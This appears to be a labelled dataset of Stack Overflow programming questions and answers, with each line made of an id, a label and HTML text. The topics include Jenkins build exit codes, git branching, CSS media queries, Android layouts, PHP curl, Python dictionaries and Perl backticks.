22866586	0	 <p>Any non-zero exit code at the <em>end</em> of your <strong>Execute Windows batch command</strong> build step will result in build step being marked as <code>failure</code>.</p> <p>To have the build step marked as <code>success</code>, you need an exit code of <code>0</code>. I don't know anything about "yslow" or "phantomjs" and why they are giving you exit code of non-zero, but from "batch" side of things, you need only write <code>exit 0</code> at the end of your build step if you want to overwrite the exit code of your <code>phantomjs</code> command.</p> <p>You can then use <strong><a href="https://wiki.jenkins-ci.org/display/JENKINS/Text-finder+Plugin" rel="nofollow">Text Finder plugin</a></strong> to parse the console log and mark build as <code>unstable</code> when certain conditions are met.</p> <p>Reading over this answer, <strong><a href="http://stackoverflow.com/questions/11419284/configuring-yslow-on-jenkins">Configuring yslow on Jenkins</a></strong> looks like you need <a href="https://wiki.jenkins-ci.org/display/JENKINS/TAP+Plugin" rel="nofollow"><strong>TAP plugin</strong></a> to have the functionality of unit testing marking the build as unstable automatically</p>
83644	0	 <p>I'm wondering what could cause this. Aside from filesystem bugs, it could be caused by a non-ascii chararacter that got through somehow. In that case, use another language with easier string semantics to do the operation.</p> <p>It would be interesting to see what would be the output of this ruby snippet:</p> <pre><code>ruby -e 'puts Dir["msheehan*"].inspect' </code></pre>
16968428	0	 <p>I suspect your problem is that you need to set the <code>android:clipChildren</code> attribute on the parent <code>ViewGroup</code>.</p> <p>Quoting the <a href="http://developer.android.com/reference/android/view/ViewGroup.html#attr_android%3aclipChildren" rel="nofollow"><code>ViewGroup</code> documentation for <code>android:clipChildren</code></a>:</p> <blockquote> <p>Defines whether a child is limited to draw inside of its bounds or not. This is useful with animations that scale the size of the children to more than 100% for instance. In such a case, this property should be set to false to allow the children to draw outside of their bounds. The default value of this property is true.</p> </blockquote> <p>So either add <code>android:clipChildren="false"</code> to the XML layout, or call the ViewGroup's <a href="http://developer.android.com/reference/android/view/ViewGroup.html#setClipChildren%28boolean%29" rel="nofollow">setClipChildren</a> method if you are building the interface programatically.</p>
951379	0	 <p>Use <code>head -c</code> to specify the number of bytes for each file and then compare them.</p> <p>I believe this requires creating at least one temporary file, but would appreciate any comments otherwise :)</p>
17906993	0	 <p>As mention in "<a href="http://stackoverflow.com/a/4288660/6309">In git, is there a simple way of introducing an unrelated branch to a repository?</a>", <code>git checkout --orphan</code> "doesn't do exactly what the asker wanted, because it populates the index and the working tree from <code>&lt;start_point&gt;</code> (since this is, after all, a <code>checkout</code> command)"</p> <p>So a cleaner solution would be to <strong><a href="http://stackoverflow.com/a/1384723/6309">create your new <code>master</code> branch in a new git repo</a></strong>, and then import that branch in your current repo (where <code>master</code> was renamed, and where there is not a <code>master</code> branch yet)</p> <pre><code>$ cd /path/to/repo $ git fetch /path/to/unrelated master:master </code></pre> <p>That way, your <code>master</code> branch starts from a clean history.</p>
27384081	0	 <p>Add before <code>RewriteRule</code>:</p> <pre><code>RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f </code></pre> <p>Not rewrite real file or folder</p>
32767829	0	 <p>Quick example of drawing the line in the Paint() event, and allowing it to be toggled with a Button:</p> <pre><code>Public Class Form1 Private x1 As Integer = 0 Private y1 As Integer = 0 Private x2 As Integer = 0 Private y2 As Integer = 0 Private DrawLine As Boolean = False Private stift As New Pen(Brushes.Black, 3) Public Sub New() InitializeComponent() x2 = Me.ClientSize.Width y2 = Me.ClientSize.Height End Sub Private Sub Form1_SizeChanged(sender As Object, e As EventArgs) Handles MyBase.SizeChanged x2 = Me.ClientSize.Width y2 = Me.ClientSize.Height Me.Refresh() End Sub Private Sub Form1_Paint(sender As Object, e As PaintEventArgs) Handles MyBase.Paint If DrawLine Then Dim g As Graphics = e.Graphics g.DrawLine(stift, x1, y1, x2, y2) End If End Sub Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click DrawLine = Not DrawLine Me.Refresh() End Sub End Class </code></pre> <p>This approach allows you to change the coords from somewhere else and call Refresh() to update the screen. For more than one line, consider using a List() that holds information about the coords, then iterate over that in the Paint() event.</p>
3089021	0	 <p>Try restarting the IDE. It fixes a lot of internal errors.</p> <p>If the error keeps occurring after a restart, and everything is still working, you can ignore the error. One of my projects has an internal error due to some resource compiler issue, I suspect, however it still works two years later, even after many modifications and rebuilds.</p>
31520363	0	 <p>Yes, you can add tags to the resources that you create using CloudFormation. Here is how you can add tags to the instances that you create:<a href="http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-tagging.html" rel="nofollow">http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-tagging.html</a></p>
35963859	0	 <p>Try this:</p> <pre><code>$total = array(); foreach ($data as $key =&gt; $row) { $total[$key] = $row['total']; } // this sorts your $data array by `total` in descending order // so the max for `total` is the first element array_multisort($total, SORT_DESC, $data); </code></pre> <p>And now, use <code>$data[0]</code>;</p>
8083701	0	Workaround for lack of CSS feature to "suppress inherited styles" (and backgrounds?) <p>I have a DOM situation that looks like this:</p> <ul> <li><p><strong>A</strong> is an ancestor of <strong>B</strong>, which is in turn an ancestor of <strong>C</strong></p></li> <li><p>Initially, <strong>A</strong> has styles that inherit to <strong>B</strong> and <strong>C</strong></p></li> <li><p>I wish to temporarily highlight <strong>B</strong> by giving it a <em>highlighted</em> class</p> <p>...however...</p></li> <li><p>I want to "escape" the highlighting on <strong>C</strong> so it changes as little as possible</p></li> </ul> <p>It seems <a href="http://stackoverflow.com/questions/1046872/how-can-i-disable-inherited-css-styles">this is not possible</a> within the cascading paradigm of CSS. The only way to "un-apply" a style is to apply an overriding style. My problem is that the highlight code is in a plugin that wants to play well with an arbitrary page's existing CSS...my selectors are like this:</p> <pre><code>/* http://www.maxdesign.com.au/articles/multiple-classes/ */ .highlighted.class1 { background-color: ... background-image: ... ... } .highlighted.class2 { ... } /* ... */ .highlighted.classN { ... } </code></pre> <p>Background is a tricky one...because although it is not an inherited CSS property, changing an ancestor's background can alter a descendant's appearance (if they have transparent backgrounds). So it's an example of something that causes the kind of disruption I'm trying to negate. :-/</p> <p>Are there any instances of how people have suppressed the inheritance of changes in this fashion? Perhaps using tricks such as <a href="http://stackoverflow.com/questions/1004475/jquery-css-plugin-that-returns-computed-style-of-element-to-pseudo-clone-that-el">caching computed styles</a>? I'm looking for any default technique that can be at least a little smarter than a function-level hook that says "hey, the plugin highlighted this node...do what you need to visually compensate."</p> <hr> <p><strong>UPDATE</strong> I have created a basic JsFiddle of this scenario to help make the discussion clearer:</p> <p><a href="http://jsfiddle.net/HostileFork/7ku3g/">http://jsfiddle.net/HostileFork/7ku3g/</a></p>
15337855	0	 <p>If you're speaking of HTML5 id, then the requirement is</p> <blockquote> <p>The value must be unique amongst all the IDs in the element’s home subtree and must contain at least one character. The value must not contain any space characters.</p> </blockquote> <p>Which gives this regex :</p> <pre><code>^[\S]+$ </code></pre> <p>If you're speaking of HTML4 (don't see why but well) then I guess it's a duplicate. See <a href="http://stackoverflow.com/questions/14664860/allowed-html-4-01-id-values-regex">Allowed HTML 4.01 id values regex</a></p>
4138556	0	 <p>That's a bit broad... the general logic, would be to use the API of whatever you're interfacing with.</p> <p>This would vary depending on what indeed it is you're dealing with - the general logic is going to be <em>completely</em> different for a 3D application compared to a 2D windowing system. Again, if you're dealing with a 2D application is this application full screen, so you only have to consider absolute X,Y values - or is it under a windowing system in which case you care more about X,Y in relation to the window as opposed to the entire screen.</p>
28588354	0	 <p>Presumably something like this:</p> <pre><code>#!/bin/bash class=org.gnome.settings-daemon.peripherals.touchpad name=tap-to-click status=$(gsettings get "$class" "$name") status=${status,,} # normalize to lower case; this is a modern bash extension if [[ $status = true ]]; then new_status=false else new_status=true fi gsettings set "$class" "$name" "$new_status" </code></pre> <p>Breaking it down into pieces:</p> <ul> <li><code>#!/bin/bash</code> ensures that the interpreter for this script is bash, enabling extended syntax such as <code>[[ ]]</code>.</li> <li>The syntax <code>$( )</code> is "command substitution"; this runs a command, and substitutes the output of that command. Thus, if the output is <code>true</code>, then <code>status=$(...)</code> becomes <code>status=true</code>.</li> <li>The parameter expansion <code>${name,,}</code> expands the contents of <code>name</code> while converting those contents to all-lowercase, and is only available in newer versions of bash. If you want to support <code>/bin/sh</code> or older releases of bash, consider <code>status=$(printf '%s\n' "$status" | tr '[:upper:]' '[:lower:]')</code> instead, or just remove this line if the output of <code>gsettings get</code> is always lowercase anyhow.</li> <li>The comparison <code>[[ $status = true ]]</code> relies on the bash extension <code>[[ ]]</code> (also available in other modern ksh-derived shells) to avoid the need for quoting. If you wanted it to work with <code>#!/bin/sh</code>, you'd use <code>[ "$status" = true ]</code> instead. (Note that <code>==</code> is allowable inside <code>[[ ]]</code>, but is <strong>not</strong> allowable inside of <code>[ ]</code> on pure POSIX shells; this is why it's best not to be in the habit of using it).</li> </ul> <p>Note that whitespace is important in bash! <code>foo = bar</code>, <code>foo= bar</code> and <code>foo=bar</code> are completely different statements, and all three of them do different things from the other two. Be sure to be cognizant of the differences in copying from this example.</p>
24625037	0	How does Android different between multiple components that have same action and category? <p>I looked up intent filters and found that they will be used when "Android finds the appropriate component to start by comparing the contents of the intent to the intent filters declared in the manifest file of other apps on the device"(<a href="http://developer.android.com/guide/components/intents-filters.html#Building" rel="nofollow">http://developer.android.com/guide/components/intents-filters.html#Building</a>)</p> <p>In my manifest file, I have </p> <pre><code>&lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; </code></pre> <p>which from reading that guide means that this activity can handle an implicit intent with action of main and category of launcher.</p> <p>However what if i have multiple applications with the same intent filter in the manifest file. I know that some implicit intent will be called with action of main and category of launcher. How does the Android O.S know to choose this application?</p>
17610376	0	 <p>Strictly speaking, those declarations are not attributes but namespaces nodes. To get them with XPath, it depends of what version of XPath you use.</p> <p>For XPath 1, use :</p> <pre><code>/*/namespace::* </code></pre> <p>For XPath 2, use : <code>fn:in-scope-prefixes</code> and <code>fn:namespace-uri-for-prefix</code> to get the prefix and the associated namespace uri.</p>
2265485	0	Multiple socket connections <p>I have multiple devices connected to a TCP/Ip port and i want to read all these devices through sockets in .Net how can i do this before this i had a single device connected and it was working fine but now i have multiple devices can anybody help me in listening multiple socket connection?</p>
9479729	0	 <p>In the project's properties (right-click on project => Properties => Resource) there is a Text File Encoding section.</p> <p>Did you configure the encoding here? If not, you have two choices : "Inherited from container" (which should be the workspace default, in your case UTF-8) and "Other" which let you choose a specific encoding (ISO-88591)...</p> <p>I just tested that on one of my projects, closed it and reopened it and the ISO88591 encoding is still configured.</p> <p><em>Note that I'm using a plain Eclipse though, not a PDT project. PDT may handle encoding settings differently, but somehow I doubt that (file encoding being a low level functionality it makes sense that all plugins share this behavior).</em></p>
29943083	0	Angular pass dynamic scope to directive <p>I have a directive that takes an attribute value from a an http call like so:</p> <p>Controller</p> <pre><code>app.controller("HomeController", function($scope){ $http.get("/api/source").then(function(res){ $scope.info = res.data }); }); </code></pre> <p>HTML</p> <pre><code>&lt;div ng-controller="MainController"&gt; &lt;ng-mydirective data-info="{{info}}"&gt;&lt;/ng-mydirective&gt; &lt;/div&gt; </code></pre> <p>Directive:</p> <pre><code>app.directive("ngMydirective", function(){ return { restrict: "E", templateUrl: "/partials/info.html", link: function(scope, element, attrs){ scope.info = attrs.info; } } }); </code></pre> <p>I'm trying to pass that info variable from the controller, into the directive, through an attribute. It doesn't work because the variable value is initially created from an asynchronous http call, so at the time the directive is created, there is no value.</p> <p>Is there a way to do this?</p>
18104891	0	 <p>I have used following code to escape the string value for json. You need to add your '"' to the output of the following code:</p> <pre><code>public static string EscapeStringValue(string value) { const char BACK_SLASH = '\\'; const char SLASH = '/'; const char DBL_QUOTE = '"'; var output = new StringBuilder(value.Length); foreach (char c in value) { switch (c) { case SLASH: output.AppendFormat("{0}{1}", BACK_SLASH, SLASH); break; case BACK_SLASH: output.AppendFormat("{0}{0}", BACK_SLASH); break; case DBL_QUOTE: output.AppendFormat("{0}{1}",BACK_SLASH,DBL_QUOTE); break; default: output.Append(c); break; } } return output.ToString(); } </code></pre>
1373822	0	 <p>Try this, if only to be cool xD</p> <pre><code>{ double *to = d; int n=(length+7)/8; switch(length%8){ case 0: do{ *to++ = 0.0; case 7: *to++ = 0.0; case 6: *to++ = 0.0; case 5: *to++ = 0.0; case 4: *to++ = 0.0; case 3: *to++ = 0.0; case 2: *to++ = 0.0; case 1: *to++ = 0.0; }while(--n&gt;0); } } </code></pre>
15857019	0	Hiding table content using Media Queries <p>I Have been using media queries to use responsive CSS and currently I am trying to hide certain table content when viewed on 480px. I created the Class in the CSS called "hideOnSmall" and then added the tag to the Template Field of "Location" but I have not gotten it to actually work so I must be doing something wrong I have looked up ways to do this and all sources led me to this but if anyone can spot anything I missing or if I am doing something wrong. </p> <p>CSS:</p> <pre><code> @media (max-width: 480px) { .nav-collapse { -webkit-transform: translate3d(0, 0, 0); } .page-header h1 small { display: block; line-height: 20px; } input[type="checkbox"], input[type="radio"] { border: 1px solid #ccc; } .form-horizontal .control-label { float: none; width: auto; padding-top: 0; text-align: left; } .form-horizontal .controls { margin-left: 0; } .form-horizontal .control-list { padding-top: 0; } .form-horizontal .form-actions { padding-left: 10px; padding-right: 10px; } .media .pull-left, .media .pull-right { float: none; display: block; margin-bottom: 10px; } .media-object { margin-right: 0; margin-left: 0; } .modal { top: 10px; left: 10px; right: 10px; } .modal-header .close { padding: 10px; margin: -10px; } .carousel-caption { position: static; } .hideOnSmall { display: none !important; } } </code></pre> <p>HTML</p> <pre><code>&lt;asp:TemplateField HeaderText="Location" SortExpression="locationName" ItemStyle-CssClass="hideOnSmall"&gt; &lt;EditItemTemplate&gt; &lt;asp:DropDownList ID="DropDownLocations" runat="server" DataSourceID="SqlDSLocations" DataTextField="locationName" DataValueField="locationID" SelectedValue='&lt;%# Bind("locationID") %&gt;'&gt;&lt;/asp:DropDownList&gt; &lt;asp:SqlDataSource ID="SqlDSLocations" runat="server" ConnectionString="&lt;%$ ConnectionStrings:ConnectionString %&gt;" SelectCommand="SELECT [locationID], [locationName] FROM [tblLocation]"&gt;&lt;/asp:SqlDataSource&gt; &lt;/EditItemTemplate&gt; &lt;InsertItemTemplate&gt; &lt;asp:TextBox ID="TextBox2" runat="server" Text='&lt;%# Bind("locationName") %&gt;'&gt;&lt;/asp:TextBox&gt; &lt;/InsertItemTemplate&gt; &lt;ItemTemplate&gt; &lt;asp:Label ID="Label2" runat="server" Text='&lt;%# Bind("locationName") %&gt;'&gt;&lt;/asp:Label&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; </code></pre>
30043094	0	 <p>Per the iterated solutions via comments in the selected answer... </p> <p>In Python 3:</p> <pre><code>max(stats.keys(), key=(lambda k: stats[k])) </code></pre> <p>In Python 2:</p> <pre><code>max(stats.iterkeys(), key=(lambda k: stats[k])) </code></pre>
20535047	0	 <p><code>redirect_to</code> will make the browser request a new page(here is your max_channel), and current context will be lost. That's why you cannot update <code>@text</code> in the <code>max_channel</code> page.</p> <p>while <code>render</code> will use current context to render <code>max_channel</code> page.</p> <p>you can get more from <a href="http://guides.rubyonrails.org/layouts_and_rendering.html#using-redirect-to" rel="nofollow">http://guides.rubyonrails.org/layouts_and_rendering.html#using-redirect-to</a>.</p> <p>You can save <code>@text</code> to somewhere(say your <code>sqlite</code>) and retrieve it in the method corresponding to <code>max_channel</code>.</p>
3798094	0	How can avoid people using my code for evil? <p>I'm not sure if this is quite the right place, but it seems like a decent place to ask.</p> <p>My current job involves manual analysis of large data sets (at several levels, each more refined and done by increasingly experienced analysts). About a year ago, I started developing some utilities to track analyst performance by comparing results at earlier levels to final levels. At first, this worked quite well - we used it in-shop as a simple indicator to help focus training efforts and do a better job overall.</p> <p>Recently though, the results have been taken out of context and used in a way I never intended. It seems management (one person in particular) has started using the results of these tools to directly affect EPR's (enlisted performance reports - \ it's an air force thing, but I assume something similar exists in other areas) and similar paperwork. The problem isn't who is using these results, but how. I've made it clear to everyone that the results are, quite simply, error-prone.</p> <p>There are numerous unavoidable obstacles to generating this data, which I have worked to minimize with some nifty heuristics and such. Taken in the proper context, they're a useful tool. Out of context however, as they are now being used, they do more harm than good.</p> <p>The manager(s) in question are taking the results as literal indicators of whether an analyst is performing well or poorly. The results are being averaged and individual scores are being ranked as above (good) or below (bad) average. This is being done with no regard for inherent margins of error and sample bias, with no regard for any sort of proper interpretation. I know of at least one person whose performance rating was marked down for an 'accuracy percentage' less than one percentage point below average (when the typical margin of error from the calculation method alone is around two to three percent).</p> <p>I'm in the process of writing a formal report on the errors present in the system ("Beginner's Guide to Meaningful Statistical Analysis" included), but all signs point to this having no effect.</p> <p>Short of deliberately breaking the tools (a route I'd prefer avoiding but am strongly considering under the circumstances), I'm wondering if anyone here has effectively dealt with similar situations before? Any insight into how to approach this would be greatly appreciated.</p> <p>Update: Thanks for the responses - plenty of good ideas all around.</p> <p>If anyone is curious, I'm moving in the direction of 'refine, educate, and take control of interpretation'. I've started rebuilding my tools to try and negate or track error better and automatically generate any numbers and graphs they could want, with included documentation throughout (while hiding away as obscure references the raw data they currently seem so eager to import to the 'magical' excel sheets).</p> <p>In particular, I'm hopeful that visual representations of error and properly created ranking systems (taking into account error, standard deviations, etc.) will help the situation.</p>
17328580	0	 <p><a href="http://www.w3.org/TR/CSS21/colors.html#propdef-color" rel="nofollow">Because the default color value is <code>inherit</code>.</a></p> <p><a href="http://jsfiddle.net/N5qFu/87/" rel="nofollow">http://jsfiddle.net/N5qFu/87/</a></p>
27679058	0	Position smart (dynamic) Admob banner to bottom of iOS screen? <p>I'm creating a smart (dynamic) Admob banner like this</p> <pre><code>bannerView = [[GADBannerView alloc] initWithAdSize:kGADAdSizeSmartBannerPortrait origin:CGPointMake(0,0)]; </code></pre> <p>But how do I get it so a smart adMob banner is at the bottom of the screen? I need to know the height of the banner to be able to work out where at the bottom it's y coordinate should be, but I don't see how you do that if it's a smart (dynamically) sized banner?</p>
20918100	0	Perl backticks not capturing output <p>I have the following program snippet</p> <pre><code>my $nfdump_command = "nfdump -M /data/nfsen/profiles-data/live/upstream1 -T -R ${syear}/${smonth}/${sday}/nfcapd.${syear}${smonth}${sday}0000:${eyear}/${emonth}/${eday}/nfcapd.${eyear}${emonth}${eday}2355 -n 100 -s ip/bytes -N -o csv -q | awk 'BEGIN { FS = \",\" } ; { if (NR &gt; 1) print \$5, \$10 }'"; syslog("info", $nfdump_command); my %args; Nfcomm::socket_send_ok ($socket, \%args); my @nfdump_output = `$nfdump_command`; my %domain_name_to_bytes; my %domain_name_to_ip_addresses; syslog("info", Dumper(\@nfdump_output)); foreach my $a_line (@nfdump_output) { syslog("info", "LINE: " . $a_line); } </code></pre> <p>Bug: @nfdump_output is empty. <img src="https://i.stack.imgur.com/WSbkK.png" alt="enter image description here"></p> <p>The $nfdump_command is correct and it printing output when ran individually</p> <p><img src="https://i.stack.imgur.com/nZNZ4.png" alt="enter image description here"></p>
40357057	0	Raspberry Pi 3 PiCamera Still Frame Rate <p>I'm working with a Raspberry Pi 3 that has a ribbon PiCamera. My problem is that I cannot get the still (not video) frame rate to be workable. In my application, the camera acts like a scanner using only a single row of each frame to watch things go by. While the concept is fine, what's killing me is the frame rate which I cannot get above 30 FPS.</p> <p>A perfect solution would be for someone out there taking the raspicam source, stripped it down and tuning it for speed, and bolting it up to OpenCV. Has anyone done this? Did it work?</p> <p>The Ava Group in Spain (<a href="https://www.uco.es/investiga/grupos/ava/node/40" rel="nofollow">https://www.uco.es/investiga/grupos/ava/node/40</a>) took an initial stab at this, but their still frame rate is also limited to 30 FPS.</p>
41077531	0	 <p>Just figured out by trail and error. Fix it by adding bottom toolbar.</p> <pre><code> &lt;!-- Bottom Toolbar--&gt; &lt;div class="toolbar"&gt; &lt;div class="toolbar-inner"&gt; &lt;!-- Toolbar links --&gt; &lt;a href="#" class="link"&gt;Link 1&lt;/a&gt; &lt;a href="#" class="link"&gt;Link 2&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
14152187	1	Is it possible to implement automatic error highlighting for Python? <p>Are there any IDEs for Python that support automatic error highlighting (like the Eclipse IDE for Java?) I think it would be a useful feature for a Python IDE, since it would make it easier to find syntax errors. Even if such an editor did not exist, it still might be possible to implement this by automatically running the Python script every few seconds, and then parsing the console output for error messages.</p>
13359337	0	 <p>I had the problem yesterday and after trying out answers in the forum and others but made no headway. My code looked like this.</p> <pre><code>// Open up the file and read the fields on it. var pdfReader = new PdfReader(PATH_TO_PDF); var fs = new FileStream(pdfFilename, FileMode.Create, FileAccess.ReadWrite) var stamper = new PdfStamper(pdfReader, fs); var pdfFields = stamper.AcroFields; //I thought this next line of code I commented out will do it //pdfFields.RenameField("currentFieldName", "newFieldName"); // It did for some fields, but returned false for others. // Then I looked at the AcroFields.RenameField method in itextSharp source and noticed some restrictions. You may want to do the same. // So I replaced that line pdfFields.RenameField(currentFieldName, newFieldName); with these 5 lines AcroFields.Item item = pdfFields.Fields[currentFieldName]; PdfString ss = new PdfString(newFieldName, PdfObject.TEXT_UNICODE); item.WriteToAll(PdfName.T, ss, AcroFields.Item.WRITE_VALUE | AcroFields.Item.WRITE_MERGED); item.MarkUsed(pdfFields, AcroFields.Item.WRITE_VALUE); pdfFields.Fields[newFieldName] = item; </code></pre> <p>And that did the job</p>
11621525	1	How to get the records from the current month in App Engine (Python) Datastore? <p>Given the following entity:</p> <pre><code>class DateTest(db.Model): dateAdded = db.DateTimeProperty() #... </code></pre> <p>What would be the best way to get the records from the current month?</p>
23204618	0	KendoUI Grid Signalr Error <p>I am receiving the error "Maximum call stack size exceeded" while trying to bind Signalr data to the KendoUI grid (v2014.1 416).</p> <p>Here is my current code:</p> <pre><code>var epConnection = $.hubConnection(); var hub = epConnection.createHubProxy("EventsPendingHub"); var hubStart = epConnection.start(); $('#tblEventsPending').kendoGrid({ sortable: true, columns: [ { field: "EventNum" }, { field: "Area" }, { field: "Zone" }, { field: "Priority" }, { field: "Type" }, { field: "TIQ" }, { field: "Location" }, { field: "Apt"} ], dataSource: { type: "signalr", autoSync: true, schema: { model: { id: "EventNum", fields: { "EventNum": { type: "string" }, "Area": { type: "string" }, "Zone": { type: "string" }, "Priority": { type: "string" }, "Type": { type: "string" }, "TIQ": { type: "string" }, "Location": { type: "string" }, "Apt": {type: "string"} } } }, sort: [ { field: "Priority", dir: "desc"}, { field: "TIQ", dir: "desc"} ], transport: { signalr: { promise: hubStart, hub: hub, server: { read: "read", update: "update", destroy: "destroy", create: "create" }, client: { read: "read", update: "update", destroy: "destroy", create: "create" } } } } }); </code></pre> <p>Hub Code:</p> <pre><code>[HubName("EventsPendingHub")] public class EventsPendingHub : Hub { private readonly EventsPending _eventsPending; public EventsPendingHub() : this(EventsPending.Instance) {} public EventsPendingHub(EventsPending eventsPending) { _eventsPending = eventsPending; } public IEnumerable&lt;EventPending&gt; GetAllEventsPending() { return _eventsPending.GetAllEventsPending(); } } </code></pre> <p>Startup.cs:</p> <pre><code>[assembly: OwinStartup(typeof(CADView.Startup))] namespace CADView { public class Startup { public void Configuration(IAppBuilder app) { var hubConfiguration = new HubConfiguration(); hubConfiguration.EnableDetailedErrors = true; app.MapSignalR(hubConfiguration); } } } </code></pre> <p>The error is being thrown at the client by jQuery...the last line from below is repeated 30+ times.</p> <p>Uncaught RangeError: Maximum call stack size exceeded </p> <p>o.extend.isPlainObject jquery-2.1.0.min.js?hash=2258a75c-c461-4821-2436-dfdf3af9bffe:2 o.extend.o.fn.extend jquery-2.1.0.min.js?hash=2258a75c-c461-4821-2436-dfdf3af9bffe:2</p>
1368413	0	 <p>The code works fine for me, too. As Justin suggested, you're probably overwriting your extracted data.</p> <p>May I suggest less-redundant code? For example:</p> <pre><code>$urls = array('http://www.wowarmory.com/character-sheet.xml?r=Crushridge&amp;n=Thief', 'http://www.wowarmory.com/character-sheet.xml?r=Ursin&amp;n=Kiona'); $browser = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 YFF3 Firefox/3.0.1'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $browser); foreach ($urls as $url) { curl_setopt($ch, CURLOPT_URL, $url); $result20 = curl_exec($ch); // Extract the values out of the xml here (to separate variables). } curl_close($ch); </code></pre>
32797462	0	 <pre><code>&lt;table border='1' style='width:100%'&gt; &lt;?php $course = file_get_contents("course.txt"); $line = explode("\n", $course); for($i = 0; $i&lt;count($line); $i++) { $item = explode(";", $line[$i]); {echo" &lt;tr&gt; &lt;td&gt;".$item[0]."&lt;/td&gt; &lt;td&gt;".$item[1]."&lt;/td&gt; &lt;/tr&gt;"; } } ?&gt; &lt;/table&gt; </code></pre>
23417314	0	 <p>Use a static helper method:</p> <pre><code>public Triangle(Triangle other) { super(clonePoints(other)); } private static Point[] clonePoints(Triangle other) { if (other == null) { // ... } return other.getPoints().clone(); } </code></pre> <p>Also, what I often do is create a more generic helper method as such:</p> <pre><code>public Triangle(Triangle other) { super(neverNull(other).getPoints().clone()); } private static &lt;S extends Shape&gt; S neverNull(S notNull) { if (notNull == null) { // throw a meaningful exception // or return a default value for S if possible / reasonable } return notNull; } </code></pre>
39475451	0	 <p>I have found <a href="https://docs.angularjs.org/api/ng/directive/ngSwitch" rel="nofollow"><code>ng-switch</code></a> works the best in this case.</p> <p>You can use it like:</p> <pre><code> &lt;div class="the-parent" ng-switch="row.statusId"&gt; &lt;span class="fa fa-circle-o fw" ng-switch-when="Status.NotSet" style="padding-left: 0.3rem;"&gt;&lt;/span&gt; &lt;span class="fa fa-unlock fw" ng-switch-when="Status.Clean" style="padding-left: 0.3rem;"&gt;&lt;/span&gt; &lt;span class="fa fa-wrench fw" ng-switch-when="Status.Dirty" style="padding-left: 0.3rem;"&gt;&lt;/span&gt; &lt;span class="fa fa-cloud-upload fw" ng-switch-when="Status.Saving" style="padding-left: 0.3rem;"&gt;&lt;/span&gt; &lt;span class="fa fa-check fw" ng-switch-when="Status.Saved" style="padding-left: 0.3rem;"&gt;&lt;/span&gt; &lt;span class="fa fa-warning fw" ng-switch-when="Status.SaveError" style="padding-left: 0.3rem;"&gt;&lt;/span&gt; &lt;/div&gt; </code></pre>
16132752	0	How do I alter the value being updated in a ListView? <p>I can't seem to find an answer to this, maybe I'm not using the correct terminology.</p> <p>I have a ListView that is editable, I want it so that if a user clicks on Edit and then Update, that the field is updated with the value from another textbox, not the field they are editing.</p> <p>The reason for this is that I have a Colour Picker that alters the value of a textbox, when they click Update I want this value to be the updated value.</p> <p>I guess I utilise the ItemUpdating event, but I don't have much in the way of code because I'm pretty lost. I have this so far:</p> <pre><code>protected void ListView2ItemUpdating(object sender, ListViewUpdateEventArgs e) { var selectedItem = ListView2.Items[ListView2.EditIndex]; // I have no idea what to put here something = ColourChosen.Value; } </code></pre> <p>Here is an image that I hope will make what I'm trying to do a little more understandable:</p> <p><img src="https://i.stack.imgur.com/QYkMg.png" alt="ListView2"></p> <p>If any one could point me in the right direction of any examples, that would be much appreciated.</p>
14936323	0	 <pre><code>ko.applyBindings(new menuView(), document.getElementById('blancos_menu')); </code></pre> <p>replace this with </p> <pre><code>ko.applyBindings(new menuView(),$("#blancos_menu")[0]); </code></pre> <p>and why you using this?</p> <pre><code>&lt;span data-bind="text: $root.blancos"&gt;&lt;/span&gt; &lt;!-- ko foreach: $root.blancos --&gt; </code></pre> <p>you can use </p> <pre><code>&lt;ul data-bind="foreach: blancos"&gt; &lt;li data-bind="&lt;ARRAY ELEMENT IN blancos&gt;"&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>
29345505	1	Unordered cloud point of polygon contour to polygon <p>Dear Stackoverflow community,</p> <p>I have contours of irregular polygons as unordered datapoints (like on the figure here: <a href="http://s16.postimg.org/pum4m0pn9/figure_4.png" rel="nofollow">http://s16.postimg.org/pum4m0pn9/figure_4.png</a>), and I am trying to order them (ie. to create a polygon).</p> <p><img src="http://s16.postimg.org/pum4m0pn9/figure_4.png" /></p> <p>I cannot use the convex hull envelope because of the non convex shape of the polygon. I cannot ase a minimum distance criterion because some points of other parts of the contour lie closer (example: point A has to be joined with B, but is closer to C). I cannot use a clockwise ordering because of the irregular shape of the contour.</p> <p>Do anyone knos a way to implement (preferentially in Python) an algorithm that would reorder the datapoints from a starting point?</p>
5043648	0	 <p>SOAP does not have to be over HTTP. It just happens that it is nearly always implemented over HTTP.</p> <p>If you really want to use SOAP you can use a socket, or message queue as well as HTTP. For an example see: <a href="http://msdn.microsoft.com/en-us/library/51f6ye7k.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/51f6ye7k.aspx</a></p> <p>However, I think if you need 100 TPS, SOAP is probably not the right technology to use.</p>
5605470	0	 <p>Created by Dr. Martin Porter, <a href="http://snowball.tartarus.org/index.php" rel="nofollow">Snowball</a> is a small string processing language designed for creating stemming algorithms for use in Information Retrieval. It was created partially to provide a canonical implementation of Porter's stemming algorithm, and partially to facilitate the creation of stemmers for languages other than English. </p> <p>A further aim of Porter's was to provide a way of creating and defining stemmers that could readily or automatically be translated into C, Java, or other programming languages. The Snowball compiler translates a Snowball script (a <code>.sbl</code> file) into either a thread-safe ANSI C program or a Java program. For ANSI C, each Snowball script produces a program file and corresponding header file (with <code>.c</code> and <code>.h</code> extensions). </p> <p>The <a href="http://en.wikipedia.org/wiki/Snowball_programming_language" rel="nofollow">name "Snowball"</a> is a tribute to the SNOBOL programming language. </p>
